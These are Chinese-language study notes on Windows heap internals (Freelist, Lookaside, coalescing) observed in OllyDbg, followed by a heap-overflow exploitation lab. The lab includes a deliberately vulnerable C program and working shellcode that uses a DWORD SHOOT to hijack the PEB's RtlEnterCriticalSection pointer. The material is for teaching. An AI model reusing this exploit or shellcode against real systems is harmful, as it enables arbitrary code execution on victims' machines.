5.1堆的工作原理

  • 堆块:出于性能的考虑,堆区的内存按不同大小组织成块,以堆块为单位进行标识,而不是传统的按字节标识。一个堆块包括两个部分:块首和块身。
    • 块首:是一个堆块头部的几个字节,用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;
    • 块身:是紧跟在块首后面的部分,也是最终分配给用户使用的数据区。
  • 堆表:堆表一般位于堆区的起始位置,用于索引堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等。
  • 堆的内存组织如下图所示:

5-1.png

  • 在 Windows 中,占用态的堆块被使用它的程序索引,而堆表只索引所有空闲态的堆块
  • 最重要的堆表有两种:
    • 空闲双向链表 Freelist(简称空表)如下图所示,空闲堆区的大小计算方式:空闲堆块的大小=索引项(ID)×8(字节)。

5-2.png

  • 快速单向链表 Lookaside(简称快表),是 Windows 用来加速堆块分配而采用的一种堆表。如下图所示,这里之所以把它叫做“快表”是因为这类单向链表中从来不会发生堆块合并(其中的空闲块块首被设置为占用态,用来防止堆块合并)。

    5-3.png

    5.2使用OllyDbg查看堆分配

  • 调试的代码如下:

    1. #include <windows.h>
    2. main()
    3. {
    4. HLOCAL h1,h2,h3,h4,h5,h6;
    5. HANDLE hp;
    6. //HANDLE HeapCreate(DWORD flOptions, DWORD dwInitialSize, DWORD dwMaximumSize);
    7. hp = HeapCreate(0,0x1000,0x10000);
    8. __asm int 3
    9. //LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, DWORD dwBytes);
    10. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
    11. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
    12. h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
    13. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    14. h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
    15. h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    16. HeapFree(hp,0,h1);
    17. HeapFree(hp,0,h3);
    18. HeapFree(hp,0,h5);
    19. HeapFree(hp,0,h4);
    20. return 0;
    21. }
  • 通常情况下,进程中会同时存在若干个堆区:

    • 进程堆:开始于 0x00130000 的大小为 0x4000的进程堆,可以通过 GetProcessHeap()函数获得这个堆的句柄并使用。
    • 内存分配函数 malloc()的堆:这是一个紧接着 PE 镜像处 0x00430000 的大小为 0x8000 字节的堆。
    • 实验中HeapCreate ()所创建的堆:从0x00520000开始,大小为0x1000的堆。

5-4.png

  • 使用HeapCreate()函数创建一个新的堆区(一个堆区包含堆表和堆块)。
    • 堆表中包含的信息依次是:段表索引(Segment List)、虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。
  • 创建了一个新的堆区后,新堆区的状况是:
    • 只有一个空闲态的大块,这个块被称做“尾块”。
    • 尾块位于堆偏移 0x0688 处(启用快表后这个位置将是快表),这里算上堆基址就是0x00520688。
    • Freelist[0]指向“尾块”。
    • 偏移为0x178处为空表索引(Freelist)。
    • 除零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块。

5-5.png5-8.png5-9.png

  • 堆块的分为占用态堆块和空闲态堆块,它们的数据结构如下图所示:

5-6.png5-7.png

  • 使用HeapAlloc()函数分配到的堆块在内存中如下所示,堆块的单位是8字节(也就是说当堆块块首中的Self Size字段的值 x 8就是分配堆块的大小,且堆块的大小包括了块首在内),当分配的数据不足8字节时按8字节分配(例如变量h1请求分配3字节的堆块,又由于块首占8字节,且不足8字节按8字节分配,所以h1分配的堆块大小就是16字节,也就是2个堆单位):

5-10.png

  • 堆的释放和合并的观察,整体思路是:首先释放h1,h3,h5观察freelist空闲链表的链入情况,然后再释放h4观察堆块合并(h3,h4,h5三个相邻的堆块进行合并)后freelist空闲链表的链入情况。
  • 释放h1,h3,h5后,由于h1和h3的堆块大小为16个字节,所以h1和h3应该被链入freelist[2]的空表,h5的堆大小为32字节应该被链入freelist[4],freelist空表的连接规则如下图:
  • 链入时,从大地址的堆块开始链入,链入的地址是堆块的数据部分的地址而不是堆首的地址。

5-2.png

  • 被释放后,h1,h3和h5的堆如下所示:

5-11.png
5-12.png

  • 堆的合并:当再次释放h4时,h3,h4,h5这3个空闲块彼此相邻,所以h3,h4,h5这三个块会进行合并,合并后的块大小为64字节,也就是8个堆单位(1个堆单位 = 8字节),所以合并后的块链入freelist[8]。
  • 释放h4之前空闲链表的情况是:freelist[0]链入尾块,freelist[2]链入了h1和h3,freelist[4]链入了h5;释放h4之后的空闲链表的情况是:freelist[0]链入尾块,freelist[2]链入h1,freelist[8]链入h3,h4,h5合并后的堆块。合并后的空闲链表如下图所示:

5-13.png5-23.png

  • 快表的使用,实验程序代码如下:

    1. #include <stdio.h>
    2. #include <windows.h>
    3. void main()
    4. {
    5. HLOCAL h1,h2,h3,h4;
    6. HANDLE hp;
    7. hp = HeapCreate(0,0,0);
    8. __asm int 3
    9. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    10. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    11. h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    12. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    13. HeapFree(hp,0,h1);
    14. HeapFree(hp,0,h2);
    15. HeapFree(hp,0,h3);
    16. HeapFree(hp,0,h4);
    17. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    18. HeapFree(hp,0,h2);
    19. }
  • 启用快表Lookaside后的堆区初始化的结构为:和堆区起始地址偏移0x178处为空表索引Freelist,与堆区起始地址偏移为0x688处为快表Lookaside:

5-15.png5-16.png5-17.png

  • 分配后h1,h2,h3,h4四个块以后:

5-18.png

  • 释放h1,h2,h3,h4四个块以后,由于启用了快表,所以空表索引freelist只改变尾块指向的位置(freelist[0]),其他的项全部指向自己,Lookaside[1]中链入h1和h2,链入的顺序是Lookaside[1]->h2->h1,Lookaside[2]中链入h3(Lookaside[2]->h3),Lookaside[3]中链入h4(Lookaside[3]->h4)。Lookaside快表链入的规则是按照堆块的数据部分的大小,而不是整个堆块的大小(空表Freelist是按照整个堆块的大小进行链入的)。
  • Lookaside快表链入的是堆块的数据部分,而不是堆块的块头。

5-19.png5-20.png

  • 再次使用HeapAlloc()函数分配3个堆单位的堆块(堆块的数据部分大小为2个堆单位),所以将Lookaside[2]快表指向的空闲块分配给h2。

5-21.png

  • 再次释放掉h2堆块,Lookaside[2]又重新链入被释放的16字节空间:

5-22.png

5.3堆溢出的利用(上)—DWORD SHOOT

  • 存在堆溢出漏洞的程序源代码:

    1. #include <windows.h>
    2. main()
    3. {
    4. HLOCAL h1, h2,h3,h4,h5,h6;
    5. HANDLE hp;
    6. hp = HeapCreate(0,0x1000,0x10000);
    7. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    8. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    9. h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    10. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    11. h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    12. h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    13. _asm int 3 //used to break the process
    14. //free the odd blocks to prevent coalesing
    15. HeapFree(hp,0,h1);
    16. HeapFree(hp,0,h3);
    17. HeapFree(hp,0,h5); //now freelist[2] got 3 entries
    18. //will allocate from freelist[2] which means unlink the last entry (h5)
    19. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    20. return 0;
    21. }
  • DWORD SHOOT的原理就是利用分配堆块,对空闲链表(Freelist链表)进行拆卸时,被拆卸节点所对应的堆块中flink和blink的值会被用来修改空闲链表(Freelist链表)的值。

    • node(被拆卸结点) -> blink -> flink = node(被拆卸结点) -> flink ;含义就是把node结点的flink的值写到node结点blink指向的地址。
    • node(被拆卸结点) -> flink -> blink = node(被拆卸结点) -> blink;

      5.4堆溢出利用(下)—代码植入

  • 实验代码:

    1. #include <windows.h>
    2. char shellcode[]=
    3. "\x90\x90\x90\x90\x90\x90\x90\x90"
    4. "\x90\x90\x90\x90"
    5. //repaire the pointer which shooted by heap over run
    6. "\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
    7. "\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
    8. "\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
    9. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    10. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    11. "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    12. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    13. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    14. "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    15. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    16. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    17. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    18. "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    19. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    20. "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
    21. "\x88\x06\x52\x00\x20\xf0\xfd\x7f";
    22. //0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
    23. //0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
    24. //and will be called by ExitProcess() at last
    25. main()
    26. {
    27. HLOCAL h1 = 0, h2 = 0;
    28. HANDLE hp;
    29. hp = HeapCreate(0,0x1000,0x10000);
    30. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    31. __asm int 3 //used to break the process
    32. //memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
    33. memcpy(h1,shellcode,0x200); //overflow,0x200=512
    34. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    35. return 0;
    36. }
  • 实验的原理:

    • h1 向堆中申请了 200 字节的空间。
    • memcpy 的上限错误地写成了 0x200,这实际上是 512 字节,所以会产生溢出。
    • h1 分配完之后,后边紧接着的是一个大空闲块(尾块)。
    • 超过 200 字节的数据将覆盖尾块的块首。
    • 用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。
    • DWORD SHOOT 的目标是 0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,可以简单地将其直接修改为 shellcode 的位置。
    • DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。
    • ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指向 shellcode 的指针,因此shellcode 被执行。
  • 执行程序之后,让OllyDbg接管调试,首先在内存中查看h1分配的堆块和尾块的情况:

5-24.png5-25.png

  • 执行了memcpy函数之后,h1堆块的内容和尾块的内容如下图所示,可以看到通过memcpy函数,将我们的shellcode填充在了h1堆块中,然后将尾块的Flink和Blink的值进行了修改(修改的含义是将0x00520688写到0x7F7DF020指向的内存空间,这里的0x00520688也就是我们shellcode所在的位置,当进程调用ExitProcess()函数后,我们的shellcode就会被执行):

5-26.png